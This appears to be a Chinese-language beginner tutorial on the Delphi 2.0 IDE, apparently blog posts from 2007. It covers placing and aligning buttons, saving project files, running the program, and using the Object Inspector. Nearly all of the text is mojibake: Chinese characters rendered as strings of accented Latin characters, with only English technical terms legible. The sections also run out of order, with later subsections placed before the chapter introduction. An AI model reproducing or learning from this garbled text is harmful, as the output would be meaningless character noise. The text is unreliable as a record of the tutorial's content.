    ÔÙ°´¶¯¡°Standard¡±Ò³±êÇ©£¬ÕÒµ½¡°Button¡±²¿¼þ(ͼ±êÉÏ»­ÓÐOK°´Å¥)¡£DelphiÔÊÐíÔÚÌí¼Ó¶à¸öͬÀàÐ͵IJ¿¼þʱ£¬²»±ØÃ¿´Îµ½²¿¼þÑ¡Ïî°åÉÏѡȡ¡£°´×¡¡°Shift¡±¼ü£¬Í¬Ê±ÔÚ¡°Button¡±²¿¼þÉϵ¥»÷Êó±ê×ó¼ü£¬Õâʱ¡°Button¡±²¿¼þ´¦ÓÚ°´ÏÂ״̬£¬²¢ÓÐÀ¶É«±ß¿ò£¬±íʾÒѾ­±»Ñ¡Ôñ¹Ì¶¨¡£ÒÀ´ÎÔÚ´°ÌåÓÒ·½µÄÈý¸öλÖõ¥»÷×ó¼ü£¬Ôò»á·ÅÖÃÈý¸öÏàͬµÄButton²¿¼þ¡£°ÑÊó±ê¹â±êÒÆµ½²¿¼þÑ¡Ïî°å×ó²àµÄ¼ýͷͼ±ê´¦£¬ÕâÊÇ¡°È¡ÏûÑ¡Ôñ¡±°´Å¥£¬ËüûÓÐÌáʾ¡£°´¶¯Ëü£¬»á·¢ÏÖ¡°Button¡±²¿¼þ°´Å¥»Ö¸´µ¯Æð״̬¡£·ñÔò£¬Ã¿´Î¡°Form1¡±ÉϵÄÊó±êµ¥»÷×ó¼ü¶¯×÷£¬¶¼»áµ¼ÖÂÔö¼ÓÒ»¸ö°´Å¥²¿¼þ¡£

    ÔٴνøÈë¡°Additional¡±²¿¼þÒ³£¬Ñ¡ÔñÒ»¸ö¡°BitBtn¡±°´Å¥(ͼ±êÊÇÓÐÂÌÉ«¶ÔºÅµÄOK°´Å¥),°ÑËü·Åµ½ÆäËüÈý¸ö°´Å¥²¿¼þµÄÏÂÃæ¡£

    µã¶¯¡°Dialog¡±Ò³±êÇ©£¬Ñ¡ÔñÒÔ16É«Íø¸ñ×öͼ±êµÄColorDialog²¿¼þ²¢°ÑËü·Åµ½´°ÌåµÄÈÎÒâλÖá£ÒòΪÕâÒ»²¿¼þÊDz»¿ÉÊÓ²¿¼þ£¬ËùÒÔËüµÄλÖò¢²»Ó°Ïì´ó¾Ö¡£¡¡

    1.2.3.2 ²¿¼þµÄµ÷ÕûÓë¶ÔÆë¡¡

    Ò»°ãÀ´½²£¬´Ëʱ·ÅÖõ½´°ÌåµÄ²¿¼þÊÇ·ÖÉ¢ÅÅÁе쬶øÇÒÆä´óС²»ÊÇÕæÕýÐèÒªµÄ³ß´ç¡£³ýÁ˲»¿ÉÊÓµÄColorDialog²¿¼þÍ⣬ÆäËüµÄ²¿¼þ¶¼ÐèÒª½øÐÐλÖᢴóСºÍÏÔʾ×ÖÑùµÄµ÷Õû¡£DelphiÌṩµÄ¶ÔÆë¹¤¾ßºÍ´°¿ÚÕ¤¸ñΪÕâЩµ÷ÕûÌṩÁË·½±ã¡£

    1¡¢Òƶ¯²¿¼þ

    Ö»Ðè°ÑÊó±êÂäµ½ÏëÒÆ¶¯µÄ²¿¼þÉÏ£¬°´×¡×ó¼ü²¢Òƶ¯¹â±ê£¬µ½ºÏÊʵÄλÖÃÔÙÊÍ·Å×ó¼ü£¬Õû¸ö²¿¼þ¼´±»ÒƵ½ÐÂλÖá£

    2¡¢µ÷Õû³ß´ç

    ÏȰÑÊó±ê¹â±êÒÆ¶¯µ½Òª¸Ä±ä³ß´çµÄ²¿¼þÉÏ£¬µ¥»÷×ó¼ü£¬Ñ¡Öиò¿¼þ£¬³ß´çµ÷ÕûÆ÷»á³öÏÖ£¬°ÑÊó±êÒÆ¶¯µ½ÆäÖеÄÒ»¸öСºÚÉ«·½¿éÉÏ£¬µ±Êó±ê±ä³ÉÍ϶¯·½Ïòָʾʱ£¬°´Ï²¢Í϶¯Êó±ê×ó¼ü£¬¿ÉÒÔ·Å´ó»òËõС²¿¼þ¡£ÉÏÏÂ×óÓÒµÄС·½¿éÓÃÀ´Òƶ¯¶ÔÓ¦µÄ¸÷±ß£¬Ëĸö½ÇµÄ·½¿é¿ÉÒÔÒÆ¶¯ÏàÁ¬µÄÁ½Ìõ±ß¡£Èç¹ûÒª¾«È·µØ±íÊö²¿¼þµÄ³ß´ç£¬¿ÉÒÔÔÚObject InspectorÉÏ£¬¸Ä±äLeft(±íʾ²¿¼þ×ó±ßÔµµ½´°Ìå×ó±ß¿òµÄÏóËØµãÊý)¡¢Top(±íʾ´°ÌåÉϱ߿òµ½²¿¼þÉϱßÔµµÄÏóËØµãÊý)¡¢ Width(²¿¼þ±¾ÉíµÄ¿í¶È)¡¢Height(²¿¼þ±¾ÉíµÄ¸ß¶È)µÈÊôÐÔ¡£¹ØÓڸı䲿¼þµÄÊôÐÔ£¬ÏÂÎÄ»¹½«×Ðϸ½²½â¡£

    3¡¢Ê¹µÃÒ»×鲿¼þ¶ÔÆë

    Óõ÷ÕûλÖõķ½·¨¿ÉÒÔ¶ÔÆë²¿¼þ£¬µ«²Ù×÷²½Ö踴ÔÓ¡£DelphiÌṩµÄ¶ÔÆë¹¤¾ß¿ÉÒÔʹ¶à¸ö²¿¼þµÄ¶ÔÆë¼«ÎªÑ¸ËÙ·½±ã¡£ÏÂÃæÎÒÃÇÀ´Ê¹Ëĸö°´Å¥¶ÔÆë¡£ÏȽ«Ëĸö°´Å¥Ñ¡ÎªÒ»×飺°´×¡²¢ÏòÓÒÏ·½Í϶¯Êó±ê×ó¼ü£¬ÔÚ´°ÌåÉÏ»­³öÎ§ÈÆËĸö°´Å¥µÄ¾ØÐΣ¬ÊÍ·Å×ó¼üºó£¬±»Ñ¡Öеİ´Å¥Öܱ߻á³öÏÖ°µ»ÒÉ«µÄ±ß¿ò¡£Ñ¡ÓÃEdit|AlignÃüÁ»òʹÓõ¯³öʽ²Ëµ¥(ÔÚ±»¹Ì¶¨µÄ²¿¼þÉϵ¥»÷Êó±êÓÒ¼ü¼¤»î)£¬¿ÉÒÔÏÔʾͼ1.4ËùʾµÄ¶Ô»°¿ò¡£

    Ҫʹ°´Å¥ÑØ×ó±ß¶ÔÆë²¢Ê¹ËüÃÇÔÚ´¹Ö±·½ÏòÉϾùÔÈ·Ö²¼£¬ÏÈÔÚAlignment¶Ô»°¿òµÄHorizontalÀ¸ÄÚÑ¡Ôñ¡°Left sides¡±£¬ÔÚ¡°Vertical¡±À¸ÄÚÑ¡Ôñ¡°Space equally¡±£¬°´¶¯OK°´Å¥£¬Delphi¾Í»á×Ô¶¯½«ËüÃÇ¶ÔÆë¡£È»ºó£¬Äú¿ÉÒÔ½«ËüÃÇËĸö×÷Ϊһ×éÀ´Òƶ¯¡£ÔÚËĸö°´Å¥ÒÔÍâµÄ´°ÌåÉϰ´¶¯Êó±ê×ó¼ü£¬¾ÍÊÍ·ÅÁË×éÖеIJ¿¼þ£¬Ê¹ËüÃdzÉΪ·ÖÁ¢µÄ²¿¼þ¡£

    ÀûÓÃ¶ÔÆëÄ£°åÀ´¶ÔÆë²¿¼þÒ²ÊǺܷ½±ãµÄ¡£Ê×ÏÈÒª½«Òª¶ÔÆëµÄ²¿¼þÑ¡³ÉÒ»×飬ѡÔñView|Alignment PaletteÏÔʾ¶ÔÆëÄ£°å¡£°´ÕÕËùʾµÄ·½Ê½Ñ¡Ôñ¼´¿É´ïµ½¶ÔÆëµÄÄ¿µÄ

    4¡¢Ëø¶¨²¿¼þ

    Èç¹û²¿¼þÒѾ­¶ÔÆë£¬Îª·ÀÖ¹²»Ð¡ÐÄÒÆ¶¯²¿¼þ£¬¿ÉÒÔ½«²¿¼þλÖÃËø¶¨¡£Ñ¡ÔñÖ÷²Ëµ¥ÉϵÄEdit|Lock ControlsÑ¡ÏʹµÃ²¿¼þ²»ÄܽøÐÐÒÆ¶¯²Ù×÷¡£½âËøÖ»ÐèÔÙ´ÎÑ¡Ôñ´ËÏî¼´¿É¡£

    µ÷Õû¡°Shape¡±²¿¼þµÄ´óС£¬Ê¹Ö®ÓëÓұߵİ´Å¥×éÏàÆ¥Åä¡£Ôٸı䴰ÌåµÄ´óС£¬°´×¡²¢Í϶¯´°ÌåÓÒÏ·½Ê¹Ö®¸ÕºÃ°üÈÝ´°ÌåÉϵÄÈ«²¿²¿¼þ¡£ÕâÑù£¬ÄúµÄÓû§½çÃæ¾Í»á±È½ÏÃÀ¹Û¡£¡¡

    1.2.3.3 ±£´æËù×öµÄ¹¤×÷¡¡

    ¼°Ê±µØ±£´æËù×öµÄ¹¤×÷ÖÁ¹ØÖØÒª¡£¶ÔÉè¼ÆÕßÀ´½²£¬ÓÐÁ½¸öÎļþÐèÒª±£´æ£º¿âµ¥ÔªÎļþ(ÒÔ.PASΪºó׺)ºÍ¹¤³ÌÎļþ(ÒÔ.DPRΪºó׺)¡£

    ´ÓÖ÷²Ëµ¥ÉÏÑ¡ÔñFile|Save Project As...ÏDelphi»áÏÔʾ±êÌâΪ¡°Save Unit1 As¡±µÄÎļþ±£´æ¶Ô»°¿ò£¬Delphi 2.0 ÔÊÐíÓû§¸ü¸Ä´æ´¢Â·¾¶£¬Äú¿ÉÒÔÔÚÏÂÀ­Ê½Áбí¿òÖÐÑ¡Ôñ¡£×îºÃ½«ÄúµÄÎļþ±£´æÔÚ×Ô¼ºµÄĿ¼ÖС£Ôڱ༭¿òÖмüÈëdemoform.pasÒÔ±£´æ¿âµ¥ÔªÎļþ£»È»ºóÏÔʾ±êÌâΪ¡°Save Project As¡±µÄÁíÒ»¸öÎļþ±£´æ¶Ô»°¿ò£¬¼üÈësample.dpr¡£Delphi±£´æÕâÁ½¸öÎļþ²¢·µ»Ø´°Ìå´°¿Ú¡£²»Òª°Ñ¿âµ¥ÔªºÍ¹¤³Ì´æ³ÉÒ»ÑùµÄÎļþÃû£¬DelphiÒªÇóÁ½Õß²»Í¬¡£

    µÚÒ»´Î±£´æºó£¬ÒÔºó¿ÉÒÔËæÊ±Í¨¹ýSpeed BarÖеġ°Save All¡±ºÍ¡°Save file¡±À´±£´æ¹¤³ÌÎļþºÍ¿âµ¥ÔªÎļþ¡£Ò»°ãÀ´½²£¬µ±È·ÈÏÎļþµÄ¸Ä±äºó£¬ÒªÍ¬Ê±´æ´¢ÕâÁ½¸öÎļþ¡£¡¡

    1.2.3.4 ÔËÐй¤³Ì¡¡

    ÒÔÉϵIJÙ×÷ʹÄúÓÐÁËÒ»¸ö×Ô¼ºµÄÓ¦ÓóÌÐò½çÃæ¡£ÔÚËÙ¶ÈÌõÖа´¶¯¡°Run¡±°´Å¥(»æÓÐÂÌÉ«Èý½Çͼ±ê)£¬Äú¿ÉÒÔ¿´µ½£¬ËùÉú³ÉµÄ½çÃæÓëÄúÉè¼ÆµÄ½çÃæÊÇÍêȫһÖµġ£¡¡

    1.2.4 ¸Ä±ä¶ÔÏóµÄÊôÐÔ

    ÉÏÊöµÄ¹¤³ÌËäÄܹ»ÔËÐУ¬µ«Ëü¶ÔÄúµÄ°´¶¯°´Å¥²Ù×÷ÊÇûÓÐʲô·´Ó¦µÄ£¬¶øÇÒ£¬ËùÓв¿¼þÉÏ»¹Ð´×ÅÎÒÃDz»ÐèÒªµÄ×ÖÑù¡£Ë«»÷´°¿ÚµÄ¹Ø±Õ°´Å¥½áÊøÔËÐУ¬»Øµ½Éè¼Æ½çÃæ¡£ÏÂÃæ£¬ÎÒÃǽ«×Ðϸ½²ÊöÈçºÎÔÚObject InspectorÖиı䲿¼þµÄ¸÷ÖÖÊôÐÔ¡£¡¡

    1.2.4.1 ÓÃPropertiesÒ³¸Ä±ä²¿¼þµÄÊôÐÔÖµ¡¡

    Ê×ÏÈÒª¸Ä±ä¸÷ÖÖ²¿¼þµÄ±êÌâ¡£Ïȸø´°¿ÚÃüÃûΪ¡°Demo¡±¡£°´¶¯Object InspectorÉ϶˵ÄObject SelectorµÄÌâÌõ»òÕ߯äÓҶ˵ÄÏÂÀ­±êÖ¾£¬ÕÒµ½Form1Ï²¢µã¶¯×ó¼ü£¬´°Ì屻ѡÖС£ÔÚObject InspectorµÄPropertiesÒ³ÖУ¬ÕÒµ½CaptionÊôÐÔ²¢ÓÃ×ó¼üÑ¡ÖУ¬½«ÆäÓҶ˵ÄForm1¸ÄΪDemo,ͬʱ£¬Äú»á·¢ÏÖ´°ÌåµÄ±êÌâÒѾ­ÏàÓ¦µØ×öÁ˸ı䡣

    ÓÃÊó±êµãÖд°ÌåÖеÄShape²¿¼þ£¬Object InspectorÁгöÁËËüµÄÊôÐÔ¡£Ñ¡ÖÐShapeÊôÐÔ£¬Äú»á·¢ÏÖÓҶ˳öÏÖÁËÏÂÀ­±êÖ¾¡£µã¶¯ÕâÒ»±êÖ¾£¬¿ÉÒԲ鿴¶ÔÏóµÄShapeÊôÐÔ¿Éѡֵ¡£ËüµÄÐÎ×´¿ÉÒÔÊǾØÐΡ¢Ô²ÐΡ¢Ô²½Ç¾ØÐΡ¢·½Ðεȼ¸ÖÖ¡£ÕâÊÇÎÒÃÇÉè¼ÆºóÐø¹¦ÄܵĻù´¡¡£

    Ñ¡ÖÐButton1°´Å¥£¬´ËʱObject InspectorÒѾ­ÏÔʾ³ö´Ë°´Å¥µÄÒ»Ó¦ÊôÐÔ¡£½«ËüµÄCaptionÊôÐÔ¸ÄΪ¡°&Rectangle¡±,¡°&¡±ºÅʹµÃDelphiÌØÊâ´¦ÀíËüºóÃæµÄ×Ö·û£¬ÔÚÕâÀ°´Å¥ÖеÄR×Öĸ±»×öÁËÏ»®Ïß´¦Àí£¬ÔËÐÐʱ£¬¿ÉÒÔÓá°Alt-R¡±ÈȼüÀ´°´¶¯ÕâÒ»°´Å¥¡£Í¬Ñù£¬Äú¿ÉÒÔ½«ÆäËüµÄÁ½¸ö°´Å¥Button2ºÍButton3µÄCaptionÊôÐԸijÉÐèÒªµÄÐÎ״ָʾ£¬Æ©Èç¡°&RoundRec¡±¡¢¡°&Ellipse¡±¡£¡¡

    1.2.4.2 ÉèÖô°ÌåµÄȱʡ°´Å¥¡¡

    ¿ÉÒÔ°Ñij¸ö°´Å¥×÷Ϊ´°¿ÚÉϵÄȱʡ°´Å¥£¬Delphi»áΪ°´Å¥¼ÓÉÏÓкÚÉ«µÄ±ßÔµ¡£ÔËÐÐʱ£¬»Ø³µ¼´Ï൱ÓÚ±»°´Ï¡£Ö»Ð轫´Ë°´Å¥µÄDefaultÊôÐÔ´ÓFalse¸Ä³ÉTrue£¬¼´½«ËüÉèΪ´°ÌåµÄȱʡ°´Å¥¡£µã¶¯DefaultÊôÐÔ£¬ÔÚÓҶ˵ÄÖµºóÃæË«»÷×ó¼ü£¬»ò´ÓÏÂÀ­²Ëµ¥ÖÐѡȡTrue£¬¼´¿É¸Ä±äÕâÒ»ÊôÐÔ¡£DelphiÖÐÓÐÐí¶àÖ»ÓÐTrue¡¢FalseÁ½¸öÊôÐԵIJ¿¼þ£¬Ë«»÷×ó¼ü¿ÉÒÔÔÚÕâÁ½¸öÖµÖ®¼äÇл»¡£

    ¡¡

  • µÚÒ»Õ¡¡Delphi¿ìËÙÈëÃÅ£¨Ò»£©

    2007-05-28 16:16:37

    DelphiÊÇȫеĿÉÊÓ»¯±à³Ì»·¾³£¬ÎªÎÒÃÇÌṩÁËÒ»ÖÖ·½±ã¡¢¿ì½ÝµÄWindowsÓ¦ÓóÌÐò¿ª·¢¹¤¾ß¡£ËüʹÓÃÁËMicrosoft WindowsͼÐÎÓû§½çÃæµÄÐí¶àÏȽøÌØÐÔºÍÉè¼ÆË¼Ï룬²ÉÓÃÁ˵¯ÐÔ¿ÉÖØ¸´ÀûÓõÄÍêÕûµÄÃæÏò¶ÔÏó³ÌÐòÓïÑÔ(Object-Oriented Language)¡¢µ±½ñÊÀ½çÉÏ×î¿ìµÄ±à¼­Æ÷¡¢×îΪÁìÏȵÄÊý¾Ý¿â¼¼Êõ¡£¶ÔÓÚ¹ã´óµÄ³ÌÐò¿ª·¢ÈËÔ±À´½²£¬Ê¹ÓÃDelphi¿ª·¢Ó¦ÓÃÈí¼þ£¬ÎÞÒÉ»á´ó´óµØÌá¸ß±à³ÌЧÂÊ£¬¶øÇÒËæ×ÅÓ¦ÓõÄÉîÈ룬Äú½«»á·¢ÏÖ±à³Ì²»ÔÙÊÇ¿ÝÔïÎÞζµÄ¹¤×÷¡ª¡ªDelphiµÄÿһ¸öÉè¼ÆÏ¸½Ú£¬¶¼½«´ø¸øÄúÒ»·ÝÐÀϲ¡£¡¡

    1.1 Delphi»ù±¾¸ÅÄî½éÉÜ¡¡

    1.1.1 DelphiµÄ»ù±¾ÐÎʽ¡¡

    Delphiʵ¼ÊÉÏÊÇPascalÓïÑÔµÄÒ»ÖÖ°æ±¾£¬µ«ËüÓ봫ͳµÄPascalÓïÑÔÓÐÌìÈÀÖ®±ð¡£Ò»¸öDelphi³ÌÐòÊ×ÏÈÊÇÓ¦ÓóÌÐò¿ò¼Ü£¬¶øÕâÒ»¿ò¼ÜÕýÊÇÓ¦ÓóÌÐòµÄ¡°¹Ç¼Ü¡±¡£ÔڹǼÜÉϼ´Ê¹Ã»Óи½×ÅÈκζ«Î÷£¬ÈÔ¿ÉÒÔÑϸñµØ°´ÕÕÉè¼ÆÔËÐС£ÄúµÄ¹¤×÷Ö»ÊÇÔÚ¡°¹Ç¼Ü¡±ÖмÓÈëÄúµÄ³ÌÐò¡£È±Ê¡µÄÓ¦ÓóÌÐòÊÇÒ»¸ö¿Õ°×µÄ´°Ìå(Form)£¬Äú¿ÉÒÔÔËÐÐËü£¬½á¹ûµÃµ½Ò»¸ö¿Õ°×µÄ´°¿Ú¡£Õâ¸ö´°¿Ú¾ßÓÐWindows´°¿ÚµÄÈ«²¿ÐÔÖÊ£º¿ÉÒÔ±»·Å´óËõС¡¢Òƶ¯¡¢×î´ó×îС»¯µÈ£¬µ«ÄúȴûÓбàдһÐгÌÐò¡£Òò´Ë£¬¿ÉÒÔ˵ӦÓóÌÐò¿ò¼Üͨ¹ýÌṩËùÓÐÓ¦ÓóÌÐò¹²ÓеĶ«Î÷£¬ÎªÓû§Ó¦ÓóÌÐòµÄ¿ª·¢´òÏÂÁËÁ¼ºÃµÄ»ù´¡¡£DelphiÒѾ­ÎªÄú×öºÃÁËÒ»Çлù´¡¹¤×÷¡ª¡ª³ÌÐò¿ò¼Ü¾ÍÊÇÒ»¸öÒѾ­Íê³ÉµÄ¿ÉÔËÐÐÓ¦ÓóÌÐò£¬Ö»ÊDz»´¦ÀíÈκÎÊÂÇé¡£ÄúËùÐèÒª×öµÄ£¬Ö»ÊÇÔÚ³ÌÐòÖмÓÈëÍê³ÉÄúËùÐ蹦ÄܵĴúÂë¶øÒÑ¡£

    ÔÚ¿Õ°×´°¿ÚµÄ±³ºó£¬Ó¦ÓóÌÐòµÄ¿ò¼ÜÕýÔڵȴýÓû§µÄÊäÈë¡£ÓÉÓÚÄú²¢Î´¸æËßËü½ÓÊÕµ½Óû§ÊäÈëºó×÷ºÎ·´Ó¦£¬´°¿Ú³ýÁËÏìÓ¦WindowsµÄ»ù±¾²Ù×÷(ÒÆ¶¯¡¢Ëõ·ÅµÈ)Í⣬ËüÖ»ÊǽÓÊÜÓû§µÄÊäÈ룬ȻºóÔÙºöÂÔ¡£Delphi°ÑWindows±à³ÌµÄ»Øµ÷¡¢¾ä±ú´¦ÀíµÈ·±¸´¹ý³Ì¶¼·ÅÔÚÒ»¸ö²»¿É¼ûµÄRomulam¸²¸ÇÎïÏÂÃæ£¬ÕâÑùÄú¿ÉÒÔ²»ÎªËüÃÇËùÀ§ÈÅ£¬ÇáËÉ´ÓÈݵضԿÉÊÓ²¿¼þ½øÐбà³Ì¡£

    1.1.2 ÃæÏò¶ÔÏó±à³ÌµÄ¸ÅÄî¡¡

    ÃæÏò¶ÔÏóµÄ³ÌÐòÉè¼Æ(Object-Oriented Programming£¬¼ò¼ÇΪOOP)ÊÇDelphiµ®ÉúµÄ»ù´¡¡£OOPÁ¢ÒâÓÚ´´½¨Èí¼þÖØÓôúÂ룬¾ß±¸¸üºÃµØÄ£ÄâÏÖʵÊÀ½ç»·¾³µÄÄÜÁ¦£¬ÕâʹËü±»¹«ÈÏΪÊÇ×ÔÉ϶øÏ±à³ÌµÄÓÅʤÕß¡£Ëüͨ¹ý¸ø³ÌÐòÖмÓÈëÀ©Õ¹Óï¾ä£¬°Ñº¯Êý¡°·â×°¡±½øWindows±à³ÌËù±ØÐèµÄ¡°¶ÔÏó¡±ÖС£ÃæÏò¶ÔÏóµÄ±à³ÌÓïÑÔʹµÃ¸´ÔӵŤ×÷ÌõÀíÇåÎú¡¢±àдÈÝÒס£ËµËüÊÇÒ»³¡¸ïÃü£¬²»ÊǶԶÔÏó±¾Éí¶øÑÔ£¬¶øÊǶÔËüÃÇ´¦Àí¹¤×÷µÄÄÜÁ¦¶øÑÔ¡£¶ÔÏó²¢²»Ó봫ͳ³ÌÐòÉè¼ÆºÍ±à³Ì·½·¨¼æÈÝ£¬Ö»ÊDz¿·ÖÃæÏò¶ÔÏó·´¶ø»áʹÇéÐθüÔã¡£³ý·ÇÕû¸ö¿ª·¢»·¾³¶¼ÊÇÃæÏò¶ÔÏóµÄ£¬·ñÔò¶ÔÏó²úÉúµÄºÃ´¦»¹Ã»ÓдøÀ´µÄÂé·³¶à¡£¶øDelphiÊÇÍêÈ«ÃæÏò¶ÔÏóµÄ£¬Õâ¾ÍʹµÃDelphi³ÉΪһÖÖ´¥Êֿɼ°µÄ´Ù½øÈí¼þÖØÓõĿª·¢¹¤¾ß£¬´Ó¶ø¾ßÓÐÇ¿´óµÄÎüÒýÁ¦¡£

    һЩÔçÆÚµÄ¾ßÓÐOOPÐÔÄܵijÌÐòÓïÑÔÈçC++,Pascal,SmalltalkµÈ£¬ËäÈ»¾ßÓÐÃæÏò¶ÔÏóµÄÌØÕ÷£¬µ«²»ÄÜÇáËɵػ­³ö¿ÉÊÓ»¯¶ÔÏó£¬ÓëÓû§½»»¥ÄÜÁ¦½Ï²î£¬³ÌÐòÔ±ÈÔȻҪ±àд´óÁ¿µÄ´úÂë¡£DelphiµÄÍÆ³ö£¬Ìî²¹ÁËÕâÏî¿Õ°×¡£Äú²»±Ø×Ô¼º½¨Á¢¶ÔÏó£¬Ö»ÒªÔÚÌṩµÄ³ÌÐò¿ò¼ÜÖмÓÈëÍê³É¹¦ÄܵĴúÂ룬ÆäÓàµÄ¶¼½»¸øDelphiÈ¥×ö¡£ÓûÉú³ÉƯÁÁµÄ½çÃæºÍ½á¹¹Á¼ºÃµÄ³ÌÐòË¿ºÁ²»±Ø½Ê¾¡ÄÔÖ­£¬Delphi½«°ïÖúÄúÇáËɵØÍê³É¡£ËüÔÊÐíÔÚÒ»¸ö¾ßÓÐÕæÕýOOPÀ©Õ¹µÄ¿ÉÊÓ»¯±à³Ì»·¾³ÖУ¬Ê¹ÓÃËüµÄObject PascalÓïÑÔ¡£ÕâÖÖ¸ïÃüÐÔµÄ×éºÏ£¬Ê¹µÃ¿ÉÊÓ»¯±à³ÌÓëÃæÏò¶ÔÏóµÄ¿ª·¢¿ò¼Ü½ôÃܵؽáºÏÆðÀ´¡£

    1.2 Delphi ¿ìËÙÈëÃÅ¡¡

    ÔÚÕâÒ»½ÚÖУ¬ÎÒÃÇÀ´¿ª·¢Ò»¸öС³ÌÐò¡£Ëæ×Å¿ª·¢µÄ¹ý³Ì£¬Öð²½½éÉÜDelphiµÄÖ÷Òª²¿¼þ¼°Æä²Ù×÷·½·¨¡£½¨Òé¶ÁÕß°´ÕÕ±¾Êé½éÉܵĹý³Ì£¬ÔÚÄúµÄµçÄÔÉÏÖ±½Ó²Ù×÷¡£Äú½«¶ÔDelphiµÄ¿ÉÊÓ»¯±à³ÌÓÐÒ»¸öÖ±¹Û¡¢¿ì½ÝµÄÁ˽⣬±Ø½«Æðµ½Ê°빦±¶µÄЧ¹û¡£¡¡

    1.2.1 ½øÈëDelphiµÄ¿ÉÊÓ»¯±à³Ì»·¾³

    1.2.1.1 °²×°Delphi¡¡

    DelphiµÄ°²×°ÓëÆäËüÓ¦ÓÃÈí¼þ²¢ÎÞ²»Í¬¡£2.0°æ±ØÐëÔÚWindows 95ÒÔÉϵIJÙ×÷ϵͳÖÐʹÓá£Æô¶¯Windows 95»òWindows NTºó£¬½«DelphiµÄ¹âÅÌ·ÅÈë¹âÇý(CD-ROM)ÖУ¬ÔËÐйâÅÌÉϵÄ\INSTALL\SETUP.EXEÎļþ£¬ËüµÄ°²×°³ÌÐò»áÌáʾÄúÕýÈ·µØ×°ÈëDelphi¡£Èç¹ûÄúÊÇÔÚ΢ÈíÖÐÎÄWindows»·¾³Öа²×°Delphi£¬Çë²ÎÕÕ¸½Â¼AÀ´ÉèÖÃÄúµÄBDE»·¾³£¬ÒÔ±ãÓÚ´¦ÀíÖÐÎÄÊý¾Ý¡£¡¡

    1.2.1.2 ½øÈëDelphi »·¾³

    Ϊ±ÜÃâÒþ²ØÔÚDelphiºóµÄProgram ManagerºÍÔø¾­ÔËÐйýµÄÆäËü³ÌÐòÈÅÂÒ°æÃ棬·ÖÉ¢ÄúµÄ×¢ÒâÁ¦£¬²»·ÁÔÚÆô¶¯Delphiǰ¹ØµôÆäËüÓ¦ÓóÌÐò£»Æô¶¯Delphiºó£¬ÔÙ×îС»¯Òþ²ØÔÚºóÃæµÄDelphi 2.0³ÌÐò×é¡£ÕâÑùÆÁÄ»ÉϾÍÖ»ÁôÏÂDelphi´°¿Ú¿É¼ûÁË¡£

    Ê״μÓÔØDelphi£¬ÆÁÄ»ÉÏ»á³öÏÖËĸö´°¿Ú£º

    ¡ñ ±êÌâΪ¡°Delphi-Project1¡±µÄDelphiÖ÷´°¿Ú

    ¡ñ Object Inspector´°¿Ú

    ¡ñ ±êÌâΪ¡°Form1¡±µÄ´°Ìå(Form)´°¿Ú

    ¡ñ ±êÌâΪ¡°Unit1.PAS¡±µÄ´úÂë±à¼­´°¿Ú¡£¸ÕÆô¶¯Ê±ÕâÒ»´°¿ÚµÄ´ó²¿·Ö±»¡°Form1¡±´°ÌåËùÑڸǡ£½«¡°Form1¡±´°ÌåÒÆ¿ª£¬»òµ¥»÷Form1´°ÌåÏ·½µÄ״̬ÐУ¬¿ÉÒÔʹÆäÈ«²¿¿É¼û¡£ÔÚ¡°Form1¡±´°ÌåµÄÈÎÒâ¿É¼ûλÖõ¥»÷Êó±ê£¬¿ÉÒÔ»Ö¸´Ö÷´°Ìå¿É¼û

    ÒÔÏÂÎÒÃǽ«¶ÔÕâËĸö´°¿Ú·Ö±ð½øÐнéÉÜ¡£¡¡

    1.2.2 Delphi¿ÉÊÓ»¯±à³Ì»·¾³½éÉÜ¡¡

    1.2.2.1 Ö÷´°¿Ú(Main Form)¡¡

    DelphiµÄÖ÷´°¿ÚλÓÚÆÁÄ»µÄÉ϶ˣ¬°üÀ¨Menu(²Ëµ¥)¡¢Speed Bar(¼ÓËÙÌõ)ºÍComponent Panel(²¿¼þÑ¡Ïî°å)¡£MenuÊÇÏÂÀ­Ê½Ö÷²Ëµ¥¡£Speed BarλÓÚÖ÷´°¿ÚµÄ×ó϶ˣ¬ÓÉÁ½Åʲ14¸ö¼ÓËÙ°´Å¥×é³É¡£ÕâЩ°´Å¥ÊDz˵¥¹¦ÄܵĿì½Ý·½Ê½£¬¸÷ÖÖͼ±êÖ±¹ÛµØ±íʾÁËËüÄÜÖ´Ðе͝×÷¡£Component PanelÓÉÒ»ÐС¢Èô¸ÉÒ³¶ÔÏó°´Å¥Ëù×é³É£¬ÀûÓÃËüÀ´Ñ¡ÔñÐèÒªµÄ²¿¼þ²¢½«Ëü·Åµ½´°ÌåÖÐÈ¥¡£¡¡

    1.2.2.2 Object Inspector(¶ÔÏó¼ìÊÓÆ÷)¡¡

    Object Inspector´°¿Úº¬ÓÐÁ½Ò³£ºPropertiesÒ³ÏÔʾ´°ÌåÖе±Ç°±»Ñ¡Ôñ²¿¼þµÄÊôÐÔÐÅÏ¢£¬²¢ÔÊÐí¸Ä±ä¶ÔÏóµÄÊôÐÔ£»EventsÒ³ÁгöÁ˵±Ç°²¿¼þ¿ÉÒÔÏìÓ¦µÄʼþ¡£°´¶¯Object Inspector϶˵ġ°Events¡±Ò³±êÇ©£¬Ê¹µÃEventsÒ³¿É¼û£¬ÕâÒ»¶¨µÄʼþºó±ßµÄ¿Õ°×´¦£¬¿ÉÒÔ¶¨Òå¶ÔÏó½ÓÊܵ½ÏàӦʼþʱִÐе͝×÷¡£Ê×´ÎÆô¶¯Ê±£¬Object Inspector´°¿ÚÏÔʾµÄÊǵ±Ç°´°ÌåForm1µÄÊôÐÔ¡£Object Inspector¸ù¾Ý¶ÔÏóÊôÐԵĶàÉÙ£¬¾ö¶¨ÊÇ·ñÓйöÐÐÏÔʾ¡£Òƶ¯¹öÐÐÌõ£¬¿ÉÒԲ鿴µ±Ç°¶ÔÏóµÄÈ«²¿ÊôÐÔ¡£

    ´ËÍ⣬Object InspectorÉÏ»¹ÓÐObject Selector(¶ÔÏóÑ¡ÔñÆ÷)£¬Î»ÓÚObject InspectorÉÏ·½µÄÏÂÀ­Ê½²Ëµ¥ÖС£ËüÏÔʾÁË´°ÌåÉÏËùÓв¿¼þµÄÃû³ÆºÍÀàÐÍ£¬Ò²°üº¬´°Ìå±¾Éí¡£Äú¿ÉÒÔÓÃObject SelectorºÜÈÝÒ×µØÔÚ´°ÌåµÄ¸÷¸ö²¿¼þÖ®¼äÇл»£¬Ò²¿ÉÒÔ¿ìËٵػص½´°Ìå±¾Éí¡£µ±´°ÌåÖк¬Óн϶àµÄ¶ÔÏóʱ£¬Äú»á·¢ÏÖÕâÊÇÇл»¶ÔÏóÓÈÆäÊǻص½´°ÌåµÄ×î¿ì½Ý;¾¶¡£

